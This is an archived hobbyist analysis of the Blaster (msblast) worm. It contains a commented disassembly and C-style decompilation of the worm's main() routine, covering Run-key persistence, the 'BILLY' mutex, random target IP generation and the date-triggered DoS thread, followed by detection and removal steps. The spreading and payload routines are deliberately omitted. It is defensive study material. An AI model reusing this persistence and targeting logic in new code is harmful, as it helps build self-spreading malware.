TUCoPS :: Malware :: msblast.txt

Decompilation of the RPC.Blaster worm main() routine

Decompilation of the RPC blaster.worm main() routine 
and short description/analysis by Dennis Elser.


TABLE OF CONTENTS:

I. Introduction
II. Description
III. Commented Disassembly
IV. Analysis/Decompilation
V. How to detect and clean an infected system, prevent re-infection




I. Introduction
---------------

Thanks to Datarescue (www.datarescue.com) for the Interactive DisAssembler
(IDA Pro) which made this analysis quite comfortable.
The integrated debugger came in very handy to verify the analysis ;)

Please bare with me, english is not my native language, I am not a professional
but a hobbyist, this document and the analysis were done in my spare time for fun
and it was not veryfied by anyone so it may contain quite some errata ;)

About the analysis:
I began to analyze the main() routine but I've left out
two important routines due to two reasons:

1. I don't want anyone to recompile this and create new variants.
2. Rolf Rolles beat me to it - too bad we haven't met earlier ;)

So spreadworm() and payload() have been left out. Their functionality will be described later.


II. Description
---------------

The worm creates a new registry key in "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
called "windows auto update" with the value "msblast.exe".
This will make sure that the worm will be run after each reboot.
Next, it creates a Mutex called "BILLY", followed by a call to GetLastError().
If the errorcode returned by GetLastError() is 0xb7 ("Cannot create a file
when that file already exists.") the worm will make a call to ExitProcess() to
prevent the system from running multiple instances of the worm.
Otherwise it will continue and call WSAStartup() to initiate windows sockets,
GetModuleFileName(), which is needed for the tftp transfer to other vulnerable boxes (thanks Rolf)
and loop until the OS is connected to the Internet (using InternetGetConnectedState()).
The worm will then create random ip addresses and retreive the local ip address of the OS in order
to infect the local area network and computers on the internet (Please have a look at the analysis).
Every year starting on August the 16th to December the 31st the payload() routine will be started.
>From what I have checked so far it will send packets to windowsupdate.com in order to DoS it.
After that it will spread itself to vulnerable boxes on the internet (using the randomly generated
IP addresses) and to the local area network.

As mentioned above spreadworm() and payload() have not been analyzed any further.
spreadworm() will listen on specific ports for incoming connections, spread itself et cetera.
payload() will DoS windowsupdate.com on a specific date.

Please refer to Rolf Rolles' analysis for a more detailed analysis.

III. Commented Disassembly
-------------------------

main		proc near		; CODE XREF: mainwrapper+5Cp

in		= in_addr ptr -3ACh
temp_ip_buf	= dword	ptr -3A8h
hostent		= dword	ptr -3A4h
local_ip_address= byte ptr -3A0h
WSAData		= WSAData ptr -1A0h
month		= dword	ptr -10h
day_of_month	= byte ptr -0Ch
hKey		= dword	ptr -8
ThreadId	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3ACh
		push	esi
		push	edi
		xor	esi, esi
		push	0		; lpdwDisposition
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		push	offset aSoftwareMicros ; create/open regkey:
					; SOFTWARE\Microsoft\Windows\CurrentVersion\Run
		push	80000002h	; hKey
		call	RegCreateKeyExA
		push	32h		; cbData
		push	offset aMsblast_exe ; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aWindowsAutoUpd ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExA	; create a subkey/string "windows auto update" with the	value "msblast.exe"
					; this will make sure the worm will be run after windows has been booted
		push	[ebp+hKey]	; hKey
		call	RegCloseKey	; close	regkey
		push	offset aBilly	; lpName
		push	1		; bInitialOwner
		push	0		; lpMutexAttributes
		call	CreateMutexA	; create "Billy" Mutex
		call	GetLastError	; check	for error.
		cmp	eax, 0B7h	; 0xb7 = Cannot	create a file when that	file already exists.
		jnz	short FirstInstance ; if the mutex couldn't be created, then there
					; already is running an	instance of the	worm.
					; if this is the case: ExitProcess
		push	0		; uExitCode
		call	ExitProcess

FirstInstance:				; CODE XREF: main+67j
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	WSAStartup	; call WSAStartup / version 2.02
		or	eax, eax
		jz	short WSAStartupSuccess	; if successful, branch	to WSAStartupSuccess
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	101h		; wVersionRequested
		call	WSAStartup	; call WSAStartup / version 1.01
		or	eax, eax
		jz	short WSAStartupSuccess	; if successful, branch	to WSAStartupSuccess
		lea	eax, [ebp+WSAData]
		push	eax		; lpWSAData
		push	1		; wVersionRequested
		call	WSAStartup	; call WSAStartup / v1.0 ?
		or	eax, eax
		jz	short WSAStartupSuccess	; if successful, branch	to WSAStartupSuccess
		or	eax, 0FFFFFFFFh
		jmp	WS_Error
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

WSAStartupSuccess:			; CODE XREF: main+83j main+98j ...
		push	104h		; nSize
		push	offset Filename	; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA ; get module's name into a buffer (should be msblast.exe)

delay_no_inet:				; CODE XREF: main+DEj
		push	0
		lea	eax, [ebp+ThreadId]
		push	eax
		call	InternetGetConnectedState ; is the victim connected to the internet ?
		or	eax, eax
		jnz	short connected
		push	4E20h		; dwMilliseconds
		call	Sleep		; Sleep	20 seconds
		jmp	short delay_no_inet
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

connected:				; CODE XREF: main+D2j
		and	ds:i_ip_D, 0
		call	GetTickCount	; get value from tickcount
		push	eax
		call	srand		; random starting point
		pop	ecx
		call	rand		; get random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide random	value by 0xFE
		mov	edi, edx	; edi =	edx = remainder
		inc	edi		; remainder++
		mov	ds:randomip_A, edi
		call	rand		; get another random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide random	value by 0xFE
		mov	ds:randomip_B, edx ; store remainder
		push	200h		; namelen
		lea	eax, [ebp+local_ip_address]
		push	eax		; name
		call	gethostname	; get hostname for local machine
		cmp	eax, 0FFFFFFFFh	; SOCKET_ERROR ?
		jz	SOCKET_ERROR
		lea	eax, [ebp+local_ip_address]
		push	eax		; name
		call	gethostbyname	; retreive hostent structure
		mov	[ebp+hostent], eax
		or	eax, eax
		jz	SOCKET_ERROR
		mov	ecx, [eax+0Ch]	; ecx =	hostent.hlength
		cmp	dword ptr [ecx], 0 ; if	(hostent.hlength == 0) goto SOCKET_ERROR
		jz	SOCKET_ERROR
		push	4
		mov	eax, [eax+0Ch]	; get hostent.hlength
		push	dword ptr [eax]	; source buffer	(hostent)
		lea	eax, [ebp+in]
		push	eax		; destination buffer
		call	memcpy		; copy hostent structure
		push	dword ptr [ebp+in.S_un]	; in
		call	inet_ntoa	; get dotted format
		push	eax
		push	offset aS	; "%s"
		lea	edi, [ebp+local_ip_address]
		push	edi
		call	sprintf		; store	ip address in string format
		push	offset dot
		lea	eax, [ebp+local_ip_address]
		push	eax
		call	strtok		; find first '.' / dot in local ip address string
					; assume we have the following ip address:
					; 127.0.0.1
					; eax will hold	a pointer to "127\0" after the call to strtok
		mov	[ebp+temp_ip_buf], eax
		push	eax
		call	atoi		; convert string to integer
		mov	ds:i_ip_A, eax
		push	offset dot
		push	0
		call	strtok		; find next '.' / dot in local ip address string
		mov	[ebp+temp_ip_buf], eax
		push	eax
		call	atoi		; convert next delimiter of ip address
		mov	ds:i_ip_B, eax
		push	offset dot
		push	0
		call	strtok		; find next '.' / dot in local ip address string
		mov	[ebp+temp_ip_buf], eax
		push	eax
		call	atoi		; convert next delimiter of ip address
		add	esp, 3Ch	; correct stack
		mov	ds:i_ip_C, eax
		cmp	eax, 14h	; i_ip_c <= 0x14 ?
		jle	short ip_c_lower_0x15
		call	GetTickCount	; randomize timer / get	random value
		push	eax
		call	srand
		pop	ecx
		call	rand
		mov	ecx, 14h
		cdq
		idiv	ecx		; divide random	value by 0x14
		sub	ds:i_ip_C, edx	; subtract remainder of	division from i_ip_c

ip_c_lower_0x15:			; CODE XREF: main+1EEj
		mov	eax, ds:i_ip_A
		mov	ds:randomip_A, eax
		mov	eax, ds:i_ip_B
		mov	ds:randomip_B, eax
		xor	esi, esi
		inc	esi		; esi =	1

SOCKET_ERROR:				; CODE XREF: main+130j	main+14Aj ...
		call	GetTickCount	; randomize timer / get	random number
		push	eax
		call	srand
		pop	ecx
		call	rand
		mov	ecx, 14h
		cdq
		idiv	ecx		; divide random	number by 0x14
		cmp	edx, 0Ch
		jge	short loc_401496 ; is remainder	>= 0xC ?
		xor	esi, esi	; if not, esi =	0

loc_401496:				; CODE XREF: main+242j
		mov	ds:i_ip_D_?, 1
		call	rand		; get random value
		mov	ecx, 0Ah
		cdq
		idiv	ecx		; divide random	value by 0xA
		cmp	edx, 7
		jle	short generate_random_ip ; remainder <=	7 ?
		mov	ds:i_ip_D_?, 2

generate_random_ip:			; CODE XREF: main+260j
		or	esi, esi
		jnz	short get_date	; if esi != 0 goto get_date
		call	rand		; get another random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide by 0xFE
		mov	edi, edx
		inc	edi
		mov	ds:i_ip_A, edi	; i_ip_A = remainder +1
		call	rand		; get random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide by 0xFE
		mov	ds:i_ip_B, edx	; i_ip_B = remainder
		call	rand		; get random value
		mov	ecx, 0FEh
		cdq
		idiv	ecx		; divide by 0xFE
		mov	ds:i_ip_C, edx	; i_ip_C = remainder

get_date:				; CODE XREF: main+26Ej
		push	3		; cchDate
		lea	eax, [ebp+day_of_month]
		push	eax		; lpDateStr
		push	offset dateformat_d ; Day of month as digits with no leading zero for single-digit days
		push	0		; lpDate
		push	0		; dwFlags
		push	409h		; Locale
		call	GetDateFormatA	; get day of month
		push	3		; cchDate
		lea	eax, [ebp+month]
		push	eax		; lpDateStr
		push	offset dateformat_M ; Month as digits with no leading zero for single-digit months.
		push	0		; lpDate
		push	0		; dwFlags
		push	409h		; Locale
		call	GetDateFormatA
		lea	eax, [ebp+day_of_month]
		push	eax
		call	atoi		; convert daystring to integer
		pop	ecx
		cmp	eax, 15
		jg	short payload	; if it	is the 16th day	of a month
					; or above, start payload
		lea	edi, [ebp+month]
		push	edi
		call	atoi		; convert monthstring to integer
		pop	ecx
		cmp	eax, 8		; else if month	= September, October, November,	December,
					; start	payload
		jle	short loc_401562

payload:				; CODE XREF: main+2EBj
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	0		; dwCreationFlags
		push	0		; lpParameter
		push	offset payload?	; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	CreateThread

loc_401562:				; CODE XREF: main+2FAj	main+317j
		call	spreadworm
		jmp	short loc_401562
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
		call	WSACleanup	; clean	up...
		xor	eax, eax

WS_Error:				; CODE XREF: main+AFj
		pop	edi
		pop	esi
		leave
		retn	10h
main		endp

IV. Analysis
-------------

// global variables
char Filename[SOME_CONST];
DWORD i_ip_A;
DWORD i_ip_B;
DWORD i_ip_C;
DWORD i_ip_D;

DWORD i_ip_D_?;

// left out
void spreadworm()
{
}

// left out
SEC_THREAD_START paylod()
{
}

// main
int main()
{

	in_addr in;
	DWORD temp_ip_buf;
	hostent _hostent;
	char local_ip_address[0x200];
	LPWSADATA WSAData;
	char month[3];
	char day_of_month[3];
	HKEY hKey;
	DWORD ThreadId;
	bool status;

	// Create/open registry key
	RegCreateKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, 0xf003f, 0, & hKey, 0);
	// Put key "windows auto update", value = "msblast.exe"
	RegSetValueExA(hKey, "windows auto update", 0, 1, "msblast.exe", 0x32);
	// Close registry
	RegCloseKey(hKey);
	// check for a running instance of the worm
	CreateMutexA(0, 1, "BILLY");
	if (GetLastError() == 0xb7) ExitProcess(0); // exit

	// winsock
	if  ((WSAStartup(0x202, & WSAData) != 0) || (WSAStartup(0x101, & WSAData) != 0) \
		|| (WSAStartup(0x001, & WSAData) != 0)) return -1;

	// get driver:\path\filename (for example c:\winnt\system32\msblast.exe)
	// needed for tftp to locate the file for redistribution (thanks again Rolf)
	GetModuleFileNameA(0, &Filename, 0x104);

	// idle until a connection to the internet is detected
	while (InternetGetConnectedState(& ThreadId, 0) == 0) Sleep(0x4e20);

	// generate random ip address
	i_ip_D = 0;
	srand(GetTickCount());
	randomip_A = rand() % 0xFE;
	randomip_A++;
	randomip_B = rand() % 0xFE;

	// get local ip address
	if (gethostname(& local_ip_address, 0x200) != ffffffff)
	{
		_hostent = gethostbyname(& local_ip_address);
		if (_hostent != 0)
		{
			if (_hostent.hlength != 0)
			{
				memcpy( &in, &_hostent.hlength, 4);
				sprintf(&local_ip_address, "%s", inet_ntoa(in.S_un));
				temp_ip_buf = strtok(&local_ip_address, ".");
				// split single parts of ip address into A.B.C.(D)
				i_ip_A = atoi(temp_ip_buf);
				temp_ip_buf = strtok(0, ".");
				i_ip_B = atoi(temp_ip_buf);
				temp_ip_buf = strtok(0, ".");
				i_ip_C = atoi(temp_ip_buf);
				
				// randomize x.x.C.x if C > 0x14
				if (i_ip_C > 0x14)
				{
					srand(GetTickCount());
					i_ip_C -= rand() % 0x14;
				}
				randomip_A = i_ip_A;
				randomip_B = i_ip_B;
				status = true;
			}
		}
	}
	srand(GetTickCount());
	if ((rand() % 0x14) < 12) status = 0;
	i_ip_D_? = 1;
	if ((rand % 0xA) > 7) i_ip_D_? = 2;

	if (status == 0)
	{
		i_ip_A = rand() % 0xFE;
		i_ip_A++;
		i_ip_B = rand() % 0xFE;
		i_ip_C = rand() % 0xFE;
	}
	// get date
	GetDateFormatA(0x409, 0, 0, &"d", &day_of_month, 3);
	GetDateFormatA(0x409, 0, 0, &"M", &month, 3);

	// start payload on 16th august until 31st december
	if ( (atoi(& day_of_month) > 15) || (atoi(& month) >= 8) )
		CreateThread(0, 0, payload, 0, 0, &ThreadId);

	// start spreading the worm all over the windoze-world
	while (1) spreadworm();
	
	// is that a joke ? it will never be executed ;)
	WSACleanup();
	return 0;
}

V. How to detect and clean an infected system, prevent re-infection
-------------------------------------------------------------------

a.) detection
-------------
The three most suspicious indicators for a system infected by the msblast.worm are
- a file called msblast.exe in your windows\system32\ folder
- a running process called msblast.exe
- the registry entry "windows auto update" containing the string "msblast.exe" in
	"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
	
Some minor indicators are
- (high) outbound traffic on port 69, 135 et cetera.
- the mutex "BILLY" (write a little application which creates a mutex called "BILLY" just
	like the worm does. Call GetLastError() immediately after having created the mutex.
	if the returncode is 0xb7 then the mutex already exists which is an indicator for the worm.
- probably a lot more ;)

b.) cleaning a system
---------------------
1. Kill the process msblast.exe using window's taskmanager or tasklist/taskkill.
2. remove the registry key "windows auto update".
3. remove the executable msblast.exe from your windows\system32\ directory.

c.) preventing re-infection
---------------------------
1. Configure your firewall to block port 135 (and others the worm uses).
2. update your windows installation (windowsupdate.com).
3. write a little application which creates a "BILLY" mutex. This will not prevent
	your system to be infected but the worm will not spread any further and will not
	run any harmful routines as it exits when it detects an existing "BILLY" mutex.
	
	
--
Please have a look at Rolf Rolles' complete analysis (he should have posted it to bugtraq).
Check www.datarescue.com for the best disassembler around.

Hello's to my "collegues" ;) you know who you are :)

"I can not be held responsible for any damages this document may cause" ;)

--

Dennis Elser
Student of the Ruhr-Universität-Bochum
Information Technology Security
Germany

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH